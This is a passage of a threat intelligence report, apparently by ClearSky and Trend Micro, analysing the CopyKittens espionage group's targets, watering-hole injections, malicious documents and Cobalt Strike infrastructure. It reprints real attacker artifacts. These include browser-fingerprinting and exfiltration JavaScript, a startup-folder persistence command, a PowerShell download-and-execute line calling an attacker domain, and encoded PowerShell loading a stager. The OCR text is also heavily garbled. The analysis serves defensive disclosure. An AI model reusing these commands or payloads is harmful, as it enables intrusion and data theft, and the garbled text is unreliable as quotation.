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Introduction

CopyKitters is acyberespionage groughat has beenoperating since at least 2@1In November2015,
dearSkyand Minerva Labgublished the first public report exposng its activity. In March 2017 ClearSky
published asecondreport? exposing furtheincidents some of which impacted the German Bundestaghis
report, Trend Micro and ClearSlkxpose a vastgpionage apparatus spanning the entire time the group has
been active. It includesecent incidents as well as older ones that have not been publicly reponew
malware exploitation, deliveryand commandand controlinfrastructure andthe group'smodus operandi.
We dubbed this activitpperationWilted Tulip

Targetting

CopyKittens is an active cyber espionage actor whose primary focus appears to be foreign espionage on
strategic targets. Its main targetre incountries such as Israel, Saudi Arabia, Turkey, The United States,
Jordan, and German@ccasionally individuals in other countries are targedsdvell as UN employees

Targeted organizationsinclude government institutons (Guch asMinistry of Foreign Affairs), academe
institutions defense companiesnunicipalauthorities subcontractors of the Ministry of Defensandlarge

IT companies. Online news outlets and general websites were breached and weaponized as a vehicle for
wateringhole attacks.

Forexample, a malicious email was sent from a breached account of an employee in the Ministry of Foreign
Affairs in the Turkish Republic of Northern Cyprging to infect multiple targets in othegovernment
organkationsworldwide. In a different case, documentlikely stolen from the TurkisMinistry of Foreign

affairs was used as decdy other caseslsraeli embassies were targeted, as well as foreign embassies in
Israel.

Victims are targetedby watering hole attacksand emails with links tonalicicus websites owith malicious
attachments Fake Facebook proféehave been used for spreading malicious links and imgjltdust with
targets.Some of the profiles have been active for years.

Malware

CopyKitters use severalselfdevelopedmalwareand hacking toolshat have not been publicly reported to
date, and are analyzed in this repoftDTESBackdoor Vminst, a lateral movementiool; NetSry, a Cobalt
Strike loader, and ZPR a files compression console prografhe group also useMatryoshkavl, a self
developedRAT analyzely ClearSkinthe 2015 report andMatryoshka v2which is a new version, albeit with
similar functionality

The group often ussthe trial version ofCobalt Strikg a publicly available commercial software fédversary
Simulations and Red Team Operatidr@ther public tools used by the group avetasploit, awell-known

free and open source framewof&r developing and executing exploit code against a remote target machine
Mimikatz a postexploitation toolthat performs credential dumpin@nd Empire "a PowerShell and Python
post-exploitation agent' For detection and exploitation of internéacing web servers, CopyKittens use Havij,
Acunetixandsqlmap

A notable characteristic @@opyKittenss the useof DNSor command andcontrol communication(C&Cand
for data exfiltration.This feature is available both @obaltStrike and irMatryoshka

Most of the infrastructure used by the group is in tHe&S, RussiaandThe Netherlands. Someof it has been
in use for morghantwo years.

T www.clearskysec.com/repotthe-copykittensare-targetingisraelis/
2 www.clearskysec.com/copykittejpost/
3 https://www.cobaltstrike.com
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Based onTrend Micro Telemetryincident response engagemegitand open sourcehreat intelligence
investigations we have learned o€opyKittengarget organizations andountries Its main targets are in
countries such as Israel, Saudi Arabia, Turkey, The United States, Jordan, and Germany. Occasionally
individuals in other countries are targeted as well as UN employees.

Targeted organizations include government institutions (such as Ministry of Foreign Afia@slpmic
institutions, defense companies, municipal authorities, stdntractors of the Ministry of Defense, and large

IT companies. Online news outlets and general websites were breached and weaponized as a vehicle for
watering hole attacks.

For example, a malicious email was sent from a breached account of an employee in the Ministry of Foreign
Affairs in the Turkish Republic of Northern Cyprus, trying to infect multiple targets in other government
organiationsworldwide. In a different casea document likely stolen from the Turkish Ministry of Foreign
affairs was used as decdy other cases, Israeli embassies were targeted, as well as foreign embassies in
Israel.

Based on the size of the attack infrastructure and length of the campaigmestimate that there have been
at leasta few hundredpeopleinfected inmultiple organizationsn the targetedcountries

After infecting a computer within a target organization, the attacker would move latterly using one of the
malware descried in chapt "Malware" It seems that their objective is to gather as much information and
data from targetorganizations as possibl€hey wouldndiscriminatelyexfiltrate large amounts of documents,
spreadsheets, file containing personal datanfiguration fileand databases.

In at least one case, the attaclsdareached an IT company, and used VPN access it had toaljamizations
to breachtheir networks

Often, victim organizations would learn of the breach due to the-salthy behavior of the attacks. The
attackerswould"get greedy" infectingmultiple computers within the network of breachextganizationsThis
would raise an alarm in various defense systems, making the viatitiete incident response operations.
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Delivery andinfection

CopyKittens attack theiatgetsusingthe following methods

1 Watering hole attacks; insertingmaliciousJavaScriptode intobreachedstrategic websites.

1 Web based exploitationg emailinglinks to websitesbuilt by the attackersand containing known
exploits.

1 Malicious documents; email attachments containinggeaponized Microsoft Office documents.

I Fake social media entitiesfake personal and organizatiorféhceboolpages are used for interaction
with targets andor information gathering.

1 Web hackingg Havij, Acuntix andglmapare used to detect and explditternet-facingweb servers.

These methods are elaborated below

Watering Hole Attacks

On 30 March 2017, ClearSky reported a breach of multiple websitesasulgtusalem Post, Maariews and
the IDF Disabled Veterans Organization welfsitevaScript code was inserted into the breached websites,
loading BeEF (Browser Exploitation Framework) from domains owned by the atta¢@rsxample:

www.maariv.co.il

v1.11.0 | (c) 2@85, 2014 jQuery Foundation, Inc. | jquery.org/license */
a,b){"object"==typeof moduled&"object"==typeof module.exports?module.exports:a.document’-
tument");return b(a)}:b(a)};var imported = document.createElement('script'); imported.src
pd" !=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexv g, asownPrope
L.@",n=function(a,b){return new n.fn.init(a,b)},0=/* [\s\uFEFF\xA9]+|[\s\uFEFF\er]+$/g.p /*-ms-/,q=/~ ([\da z])/gi, r-functlon(a b
fase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:@,toArray:function(){return d.call(this)},get:function(a){ret
Ls.length]:this[a]:d.call(this)},pushStack:Function(a){var b=n.merge(this.constructor(),a);return b.prevOobject=this,b.context=thi
each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return
ptack(d.apply(this,arguments))},first:function(){return this.eq(®)},last:function(){return this.eq(-1)},eq:function(a){var b=this

Malicious code added to Maariv website
The malicious code was loaded from one of the following addresses:

https://js.jguery[.]net/jquery.min.js
https://js.jguery[.]Jonlinejgueryui.min.js

This would enabléhe attackerdo performactions such alsrowser fingerprintingand information gathering
social engineeringattacks(like asking for credentials redirect to another pageaskingthe user to installa
malicious extension or malware), network reconnaissamtfecting the computer usiniyletasploitexploits,
and more® The malicious code wagrmwedonly when specific targets visited the website, likely based on IP
whitelisting.

Notably, prior to that publicatiorthe German Federal Office for Information Security (BSI) said in a statement
that it had investigated groblems in network traffit of the German BundestagThe statement concluded
that the website of Israeli newspapderusalem Posivas manipulated and linked to a harmful third pairy
January 2017

4+www.clearskysec.com/copykittejpost

5 http://beefproject.com

6 https://github.com/beefproject/beef/wiki

" https://www.bsi.bund.de/DE/Presse/Pressemitteilungen/Presse2017/Gyber
Angriff auf den Bundestag Stellungnahme 29032017.html
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Web-Based Exploitation

In two incidents, the attackers breached the mailbox gfeason related toa target organizationFrom this
(real) accounttheyreplied topreviouscorrespondences witthese organizations, adding a malicious link to
a website registered and built by attackepsimemirister-govermenttechcenterfiech.

Jav&cript code, at least parts of which were copied from public souréiegerprinted the visitor's web
browser? Thiswaslikely used for later browser exploitation with known vulnerabilities.

In some pages the code enumerates and collects a lisistdlled browser plugins, in others it tries to detect
the real IP of the computer:

applicatiof( Adobe Reader”,t1xReaderVgrsion(control.Getve
plugin=cheqkPlugin('Adobe Acrobat');if(plugin)
applicatiof("Adobe Reader"”,extractverfion(plugin,"acrobat
applicatiof("Adobe Flash",control.Getyariable( '$version')
applicatiof("Adobe Flash",extractversjon(plugin,"flash"))
applicatiof("Adobe Shockwave",controlfshockwaveversion(""'
applicatiof("Adobe Shockwave",extractyersion(plugin,”sw")
plugin=cheqkPlugin('silverlight Plug-fn');if(plugin)
applicatiof("mMs Silverlight",extractvgrsion(plugin,"descr
plugin=chedkPlugin("realone player"”);Ef(plugin)
applicatiof("RealOne Player"”,extractvgrsion(plugin,”real”
applicatiof("Real Player",extractversfon(plugin,"real™));

applicatiof("Real Jukebox",extractverfpion(plugin,“real™))
applicatiof("Apple QuickTime","");plugin=checkPlugin("qui
applicatiof("Apple QuickTime",extractyersion(plugin,”qt")
applicatiof("windows Media Player”,coptrol.versionInfo);p

applicatiof("Windows Media Player",exfractversion(plugin,
else{try{vqr t=document.getElementByIfl("checkip");var v=t
catch(e){}
if(typeof(compatability)!="undetined &&typeof(compatabili
application("Internet Explorer",version.replace(/,/g,".")

try{application("JScript”,scriptEngineMajorversion()+"."+

catch(e){}
1 H L a1 4 FALEY 4 L4+ ~LCo EALRY S A | 4 A
Browser Plugins enumeration via J8sipt code
wvar internalAddress = function() {
if (deployJava.getBrowser () != "MSIE") {
try {
var socket = mew java.net.Socket (),

socket.connect (new java.net.InetSocketAddress (docums
address = socket.getLocalAddress () .getHostAddress () ;
return address;

Internal IPdetection with Java

The data is sent to the attackers, ati victim is redirected to https://akamitechnolyy[.Jcom/.

J

$(document).ready(function() {

detect();
window.setTimeout(function() {
var ref = "?id=" + window.location.href.split(/\?id=/)[1];

$.post('/compatible' + ref, {
data: applications.join("\n"),
from: intip
}» function() {
window.location = "https://akamaitechnology.com/";

})s
¥, 250);

3

Qollected datasentto server then redirecting to new domain

8 https://blog.domaintools.com/2017/03/hunicasestudy-hunting-campaigrindicatorson-privacyprotected-attack
infrastructure
9 https://gist.github.com/koulokada/2356972
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C' [ view-source:#ps://sslpmo.gov.il-dana-naauthurll-welcome.cgi.primeminister-goverment-techcenter.tech

html>
<head>
<script language="4 i i i .is"></script>
<meta http-equiv="refresh" content="20; url=https://akamaitechnology.com/">
</head>

<body id="compatability" style="behavior:url(#default#clientCaps)">
<script type="text/javascript">
/<1 [CDATA[
if (false && deployJava.getIREs().length > 8) {
var attributes = { codebase: "/java", code: "iecheck.class", id: "checkip
ayscript: "true" };
deployJava.runApplet(attributes);

else if (false && navigator.javaEnabled != undefined && navigator.javaEnabled(
document.writeln('<applet codebase="/java" code="iecheck.class" id="checki
ayscript="true"></applet>');

by
/111>
</script>
</body>
JavaScripand Java code loadeitito webpagevictim isredirected after 20 seconds

Malicious Documents

The attackers use three document based exploitation types: explo@§2017-0199 embeddingOLE
objects, and macros. If the victim opens a document and the exploitation is sucdes#fa latter two, user
interaction might be required)the attackers would receive access to the computer viadeleloped or
publicly asailable malware (see "Malware" chapter for more details).

Exploiting CVE-2017-0199

On 26 April 2017, a malicious email was sent from an employee account that was likely breached within the
Ministry of Northern Cyprus. It was sent to a disclosed recifdidt in governmeninstitutions in several
countriesand other organizations, mdgtin or related to ministries of foreign affairs. Waould note,
however, that it igpossiblethat the attackers were interested only afew of therecipientorganizatbns, but

sent it to awider list because theyghowed up in previousorrespondencein the breached account

Recipients were in the following domains:

athens.mfa.gov.il hemofarm.co.yu
mofa.gov.vn :

riga.mfa.sk mfat.govt.nz
mfa.gov.sg

amfam.com mfa.gr
mfa.gov.tr

emfa.pt mfa.gov.lv
post.mfa.uz .

mfa.gov.il mfa.gov.ua
mfa.am

mfa.gov.mk mfa.go.th
mfa.gov.by

. bu.edu mfa.gov.bn

beijing.mfa.gov.il ,

us.mufg.jp mfa.ee
mofat.go.kr )

cyburguide.com sbcglobal.net
mfa.no . . .

newdelhi.mfa.gov.il mfa.is
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The emaiis presented below?

1 gov.chtrs 4 Reply I 49 Reply | B Followup |'I = Forward | More ~
oot Fw: IRAN NORTH-KOREA RUSSIA 4262017 12:113 AM

AblasE 1 Fenrfak an be ~dhl Fab an bes 4 17 ot nab cdvasef a1 Tl @eararack mabs 0 dnirade@enef s anu un SdninedeTmiraef s anu e

From: I

Sent: Wednesday, April 26, 2017 9:12 &M
To: - -

Subject: Fw: IRAN MORTH-KORES RUSSIA

From:
Sent: Wednesday, 2pril 26, 2017 9:10 &M

fa.govtr
Subject: IRAN NORTH-KORES RUSSIA

Iran—Morth Korea relations are described as being positive by official news agencies of the two countries. Diplomatic relations picked up following the Iranian Revolution
nuclear program of lranThe United States has been greatly concerned by MNorth Korea's arms deals with Iran, which started during the 1980s with North Korea acting as a
in arms deals between the Communist bloc and Iran, as well as selling domestically produced weapons to Iran, and North Korea continues selling missile and

nuclear technology to Iran. North Korea and |ran are the remaining two members of George W. Bush's "Axis of evil", which has led to many of the concerns regarding
Iran—North Korea relations,

b @1 attachment: IRAN_NORTH-KOREA_Russia 20170420.docx 121 ¥ ¥ save
Redactedrersion of the malicious email sent form the Ministry of Foreign Affairs in the Turkish Republic of Northern
Cyprus
Attached to it was a document named "IRAN_NORTHREA_Russia 20170420.ddéx"
AN A [P EECE AT

B 7 U ~abe X, X v v

I
]
i
]

Russia 100427

Basic Political Developments

e RIA: Iran behaves 'irresponsibly' regarding nuclear program—Medvedev - "Iran
so far does not show properunderstanding and behaves irresponsibly enough.
This is all sad of course. Therefore, if this situation continues we exclude nothing
and sanctions as well." Dmitry Medvedev said in an interview with the Danish
Broadcasting Corporation (DR) before his official visit to Denmark on Tuesday.

e Press TV: Iran, Russia develop telecom ties - The contract and the Memorandum
of Understanding (MoU) were signed on Monday in Moscow between Iran's
Telecommunication Infrastructure Company (TIC) and Russian firm Telecom. in
the nresence of Tran's Telecommunications Minister Reza Taainourand his

Gontent of themaliciousdocument

The document exploite@VE2017-0199 downloading an rtf file from:
update.microsofioffice[.]solutionslicense.doc

The rtf file loads a VBA script from:
http://38.130.75[.]20/check.html

10 https://www.virustotal.com/en/file/521687de405b2616b1bb690519e993a9fb7 14cecd488c168a146ff4bbf719f87/analysis/
1 https://www.virustotal.com/en/file/026e9elch1a9c2bc0631726cacdb208e704235666042543e766fbd4555bd6950/analysis
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Which runs d@obalt Srike stagerthat communicates with:

aaa.stage.14043411.email.sharepoimicrosoft[.]Jco

In anothercase the following documentvasuploaded to VirusTotal from Isra&l

"The North Korean weapons program now testing USA rangé'.docx

This document contains links that may refer to other files. Do you want to update this document with the data from
the linked files?

Show Help >

[ves ] Lo ] [Lteo ]

I dd1c225292014e65edb83f268412d5: 3,933 characters (an approximate value}. ] |BER E = 15

Content of the malicioudocumentand a prompt that opens ken external linkare updated

It downloads an rtf documerftom:
http://update.microsoftoffice[.]solutions/license.doc

Thisdownloads VBA&odethat runs a Cobalt Strike stager from the following addresses:
http://38.130.75[.]20/error.html

Pivoting from update.microsoftoffice[.]solutions we found diagnosenicrosoftoffice].Jsolutions which
pointed to 534.181.13. UsindassiveTotalve found40.dc.cOadp4.dyngsvrstatic[.Jca Googling forgsvr
static[.]Jcg we found another samplgpupdate.bat’ whichrunsPowerShell codethat extractsa Wbalt Srike
stager:

L E]emd exe cmd /c ""'C\gpupdate bat" "' (PID: 2656)
L &g ekrn exe -nop -w hidden -encodedcomnmand |ABzADOATgBIAHCALQBPAGIAag
CAGEAcwBIADYANABTAHQACgBpAG4AZWACACIASAAOAHMASQBBAEEAQQBE.
AHIAMgBDAESAZQBUAGOAQgBFAEEANgBoAHgAVEA2AGIASgBXAHMAdgBZAG
BwAEEADQBVAEOAZWASAHQARQBPAHAAKWBRAEKASWBUAGMADAA4AHEANG
BrAEQAQwBVACBAcwBpAGQARABIAECAQOBQAFUAawATAGYAYWBUAEIAMAB1
ATABgADQAZWAXAHQAMABNADQAUWBKAGOAagA3AGIAYZBKAFAAVQBEADKA
wBQAFAAQgBhAGSATQBZAEKAZgAWAGZAbgBTADQATABWADQAeQB2AEOATQ
5ADgAdABDAGKAMABIAGKATABNAFEAawBVADIAOQAZAEUAZWBYAHMARgBA
AeABoAHYACABMAGIATABhAGCANWBIAEYAaABBAFIAQgBIADcAMAA2AHKAdgEI
SABtAGOAVQBIAGoAeQBCAGYAVQABJADCAQQB2AFMATABDADMASEBNAGSAZ
6AEgAMWB2AHMAZAAXAEKAWABKAHKACQBIADKAWABYADEAAAAVAEYAZWBR/
AG4AYwBSAHgAbgB5AGSAQwBaAHKAbAAXAEKAeABMAHgADABRAEIAQgBZADg
AUwBaADIAWgAYAG4ARQBWAHoAUWBIAGMAMgBVAHYAYWBTAGUATABUAFOAFR
dABPAEKAdWAWAGCAQWBTAEBASABBADEAZwWBKAEQARgBUAG4AYgB|AEGAWQ
AEoAeQBxAHKANWBoAHYARQBBAHCARABUAGIAeABtAGMANGBVAEIASWBIAE
ABrAGgAegBUAGIAUQBWAEgAZwBSAFYATAATAFKAYQAOAFIATQBVAEUAABIAE
AcwBkAGEACABQADYAMWBXAFQAdQB3AFEAVAAIAFQAVQB3AGEAbQBEAEgAC
UAdwBIKAHgAVwWBgAHOAYgBBAEWAOQBTAEYATABXAFMAVABIAHMARQBOAHM

Base64 encodeBowerSheltodethat loads CobalStrikestager

12 https://www.virustotal.com/en/file/43fbfOcc6ac9f238eatPd186de397bc689ff7fcc8c219a7e3f46a15755618dc/analysis
13 https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fh8bedcffe614bc342b89bac80eae90eaca78ffleabs
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https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fb8bedcffe614bc342b89b4c80eae90e9aca78ff1eab8?environmentId=100

The sample communicates wigsvrstatid.]Jcovia DNS.

Network Analysis
DNS

Requests

Domain

tga stage 12735072 40 dc.cOad ip4 sta gsvi-static.co
gfastage 12735072 40 dc.cOadipd sta gsvi-static.co
cyb.stage 12735072 40.dc cOad ip4.sta gsvi-static co
zjb.stage 12735072 40 dec cOad ip4 sta gsvi-staticco
dhb.stage 12735072 40.dc cOad.ip4.sta gswr-static.co
mfb stage 12735072 40 dc cOad ip4 sta gsvr-static.co
hda stage 12735072.40.dc.cOad.ip4.sta gsvi-static.co
vib.stage 1273507240 dc.cOad ip4 sta gsvr-static.co
kja stage.12735072.40.dc cOad.ip4.sta gsw-staticco

|hb stage 12735072 40 dc.cOad.ip4 sta gsvi-static.co

DNS requestgerformedby the sample

Yeth anothercaseY' | f A OA 2 dzd4 R 2 Omnnédsydagd |yyIRY SIRJAGO (G dzNB & dR2 O
following locatiors:

http://fetchnews-agencynewsbbd.]press/en/20170/pictures.doc
http://fetchnews-agency.newsbd.]press/omnews.doc

The files load VBS from the followiaddress:
http://fetchnews-agencynewsbbd.]press/pictures.html

Which runs a Cobalt Strike stager that communicates with:
a104-93-82-25.mandalasanalfi]info/iBpa

From there, a Cobalt Strike beacon is loadeanmunicatingwith:

slwamazonaws.offie-msupdatd.]solutions
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Embedded OLE Objects

In February 2017 a documetitled "ssl.dock was deliveredo targets likely via emait* It askedthe recipient
to "Please Update Your VPN Client from This Manual".[sic]

Hello Employees,

@

checkpointsslvpnexe.pdf

Content of themaliciousdocumentasking the victim to update the VPN Client

The "VPN Client manualNas an embedded OLE binary objeunt executable with a reverse file extension:
checkpointsslvpn?fdp.exe 1° (The "?" stands for an invisible Unicode character that flips the directiothef
string, making it look like a PDF file "exe.p)df It was composed of two files: a selktracting executable and
a PDF.

& e

Ma_1.tmp ZWEC.tmp

Bundled executable and PDF files
They run via the following command:

cmd.exe /c copy ZWEC.tmp %userpridittesktopMaariv_Tops.pdf&&copy Ma_1.tmp
"%userprofile¥AppDatdRoamingMicrosoft Windows Start
Menu\ ProgramsStartup'\sourcefire.pif&&cd %userprofilétesktop&&Maariv_Tops.pdf

The PDF file is a decoy displayed to the victim during infection. It cestaitent copied on March 2017 from
the public website of Maariv, a major Israeli news outlet

14

https://www.virustotal.com/en/file/b01e955a34da8698fael1bfl7e3f79a054449f938257284155aeca9a2d38

15dd/analysis
15 https://www.virustotal.com/en/file/72efdar309f8b24cd549f61f2b687951f30c9a45fda0fc3805¢12409d0ba320a/analysis/
16 Copykittens have used this this method before, for example in a document named "mfaformann?fdp.exe"
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https://www.virustotal.com/en/file/b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d3815dd/analysis
https://www.virustotal.com/en/file/b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d3815dd/analysis
https://www.virustotal.com/en/file/b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d3815dd/analysis
https://www.virustotal.com/en/file/72efda7309f8b24cd549f61f2b687951f30c9a45fda0fc3805c12409d0ba320a/analysis/
https://www.virustotal.com/en/file/72efda7309f8b24cd549f61f2b687951f30c9a45fda0fc3805c12409d0ba320a/analysis/

1/13/2017

Ma'ariv | Benjamin Netanyahu did not go home until a suitable replacerment Universe

. - WO WPnNY {\
agnh ey Yan ‘”
Bemgamn Netamyahu (Photo: Jonathan Zidel, Flash 90) - -

Share on Facebook  Share on Twitter

Prime Musster Benjamm Netanyahu will not go home as long as there will be no aernative. Investigations, Gifs appasent . recordmgs
- Nothing worth anything o the public does not see a man i front of han and he could Rl worthy to replace lamas prame mnster.,
Netanyahu has long been not a magician, not 2 leader Elud particubrly bupe comnunties i Israel do not consider hem a worthy
leader. But the problemstarts when they turn their heads asade, there watting for them there & a future charman Yar Lapd, kader of

the oppostion Isaac Herang and the rest of what was once fnance ninster Moshe Kahion.

Herzog embamassing repeatedly crashng the party, but he contimes 10 hold 1o the altsr. Kahlon pay #ie price of beng the finance

Content of the malicious PDF file, copied from Maariv website

The seHextracting executable contairenother executable namedp.exe whichwasdigitally signedwith a
stolen certificate of a legitimate company called Al Squared

Name = | Date modified | Twpe | Size ‘

[N p.exe Properties |

General | Compatibiity Digital Signatures |Details|

Signature list

Mame of signer: | E-mail address; | Timestamp |
Al Sguared Mot awvailable Mot available

Digital signatureof p.exe

Interestingly, this digital certificate was used &yhreat groupcalled Oilrig” This might indicate t two
groups share resources or otherwise collaborate in their activity.

17 http://www.clearskysec.com/oilig/
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http://www.clearskysec.com/oilrig/
http://www.clearskysec.com/oilrig/

The seHextracting executable serves as a downloader, running the following command:

cmd.exe /c powershell.exaop-w hidden-c "((newobject
net.webclient).downloadstring(‘http://jpsravajdkec2.javaudate[.]co:80/JPOST"))"

ThecC&cC server sends back a shétowerSheltode that loadsx Cobalt Strike stag@nto memory,

$s=New-Object

10 .MemoryStream(,[Convert]::FromBase643tring("H4sIAAAAAAAAAL 1 XeW/IOBT/u3yKaFUpiY Zyt900VGkclB
wiQDKSjkXIxCYYnJgmDsfszHdiJ4EZ ZivZ TWQliR T Jsd97fu/3zvQxv+lzn9jc YAhLNyb2A8I8qZBKXVdYgOuP0me5t
QwImMObOWL YD 7f+syeQ4REHATSHEMrLvShKynXO+PXYZCItNS/BERYhT6WL 26 SI3FWGEXwCWeeSCTHZ
67mK8YCsRFyhRstxXmQuLNPnOgh76PPZ5822qYgyDA7oISHCIgIFWyVIiHNS3FGttc+kO6nmdqlCOgPZEdySB
eCYOAh6KzFrNhZEGmvEWEK/A vv8vq9CY/y1RIQkgDRe4fA47dDKIUVGVvanTh4LiFimwQ22cBW/KMRbxilTO
MtW/HyhuJ 7TrKaErbSmie+J/3axEhmwgHIYkVyIAEQVNINNLwd22DI2gsp TUufielJoVV7oceJiccbxz 7297 O+l YNMH
Xql4hbezpQ23p9xeC+TeskkqlreVIMNIT 1HdyN2cSJOVIOxEHgnhex YKa+pZ6160QptiBHM+5gP4irFIXVIN4iY
U9SpcFJOZT7IHIpyRBKQMT780/i8HvghVmiSNHLAAD Y7XXvmDNK/FIQ/c514EmemeixKUSMRNEdxX60z600+
SIKFGE/Ivh15FbwknidcvSgS+xzcCpvOQOVKY 4By 7z J2kJRR T4dYFQOWSNHIESfs1Vdwr/zaolywBaOD4RWIibU
naVJnKjlDc/ArgAw+ZaFsbYiJICZ+pQGx/PtObcgkssUBkFabo YiJ+201MeQYpSWgBeQOxEIOYuX8g981jZByYsO
An8XNT1DecgPV1dZITA/MAWThUwWDPpbbBNITTTSUpOgrB37xDmrIL +JSRISSjxHSNoJn4idCls+j4l GR+m/Boia6W
PeclcUu4i6rhg6hY6oD6elUiulNOhjJI6P20VGSriiwOoNQobQIgDSIPC2Zx0eiBsnpViHIHIX7uSTIpGiZxydPK
nEqTrijjxImprSjTvD4HewYOp8L2HSTuRoM8FOpahmeo/yW7ZAMEM+44VEDN Tck39IL 1xDvkBQbrPIRPTXX9a
xhI4NuTh8HZO/sTfs2sIfkXm+0OBNOzy TXuASq3nutE39d7 TwBp Ys8Zk7zjANRAd6tug90ItPxJ TsviOr1UQ4Ui6 VO
MbdBuBnRbwBqu2R/alm1gK2dlib4cg1abZZ7C6ugTyxaz5b01dJiQf+uNEGwdksR0BgqUBCaF Tao266WzZp3jcg
qrbOobrel 2mHV+jIM|TJg48IDt2t6DIrNYDIInIHZbvb64L a18h8bOtou3N40FQ 1nQJ+dNikdOkdtal tOM7 Fuc?7 GMS
uDOPDMOCYYZ1pu7Sdi1co7rxsVGIUIEB+zZIKEXGjUMnZ3ZGOVR+etbGIr7 6xxfomOM2j0ZmHvVgZWihulizmsT
ulrL C+1JtDU38BebOHWA4EmM7BoMa6sRmWRr2Qerut/A76xBvTI90HWCSIKtD2uwPze Yz FHCztd5I820vBhvgCwD
1ZqnGgsMaWaruKit/b3gn+4fleCoZztVo90oh8BVHUO2dKogE C/+QEHTIik6y VajGRpsDpciYQv84N61iyw+tCePMIM
WGpWA4F3cg9Yegl6N8IrDGI+V2CHTITDvehbzitis9vhgl PLoSdIATISWMXdZE240BoRVoOOYAUAXALKzGWT 1
LhW2DYb7 TviMOjBsriXG3bUHuyCG410hqFiravV1a2iré115U7rSgueHix6+0jlvmX8WiyalnbDSyYa4Pcxt9opG3Go
x5tue0dAI+Pv4k0u0rFWbMIISukF/xDEzagH6wgFTkkGumSCurld 10/tsMtlxKEobwI9bG +x7mipBRIwg590BKG V21
MBAOUNFOJEO+ZmokUOxLBbeXKnSdOL1R1¢c/b336NBGGnlpSVCQyLewdfIXOHYqnGjFulUMpp6beb3+ZbY/K
d2npgJIFfQHISEYOvUIMJ 1Cu+EvUL/CIYn2pmiPW/ix/irH 3t+evgwXPoSpFeHP2/8G3f8d4gsSLhg 7 Yve QHEy3bwXq
VIMAXsySFS4WEDY8PdHo3wndTVIMminScyrVWEoX CAXKixj68Yt0r0bz Y8Chz2/WbCH+EQI2qIxDVWpURII1IL
SINwIVEBQL4jfBd8KopOrdX89XaS9MiRm/Sj1sYzEK3z TZQVRKLEa)SHQsJCIWe38CgA+DIEYNAAA="))IEX
(New-Object |0, StreamReader(New-Object

10 Compression GzipStream($s,[10 Compression CompressionMode]-Decompress))) ReadToEnd();

Base64 encodedowerSheltode that loads Cobalt Strike stager into memory

Stagershellcode with marked user agent ag@&C server adress
Both the docx and the executable contadithe nameshiranzin their metadata ofile paths

LastModifiedBghiranz
Cl\Users$shiranz Desktopcheckpointsslvpn?fdp.exe
Cl\User§shirana AppDataLocal Tempcheckpointssivpn?fdp.exe

Pagel3of 48
©All rights reserved to ClearSky cyber security and Trend Micro, 2017

















































































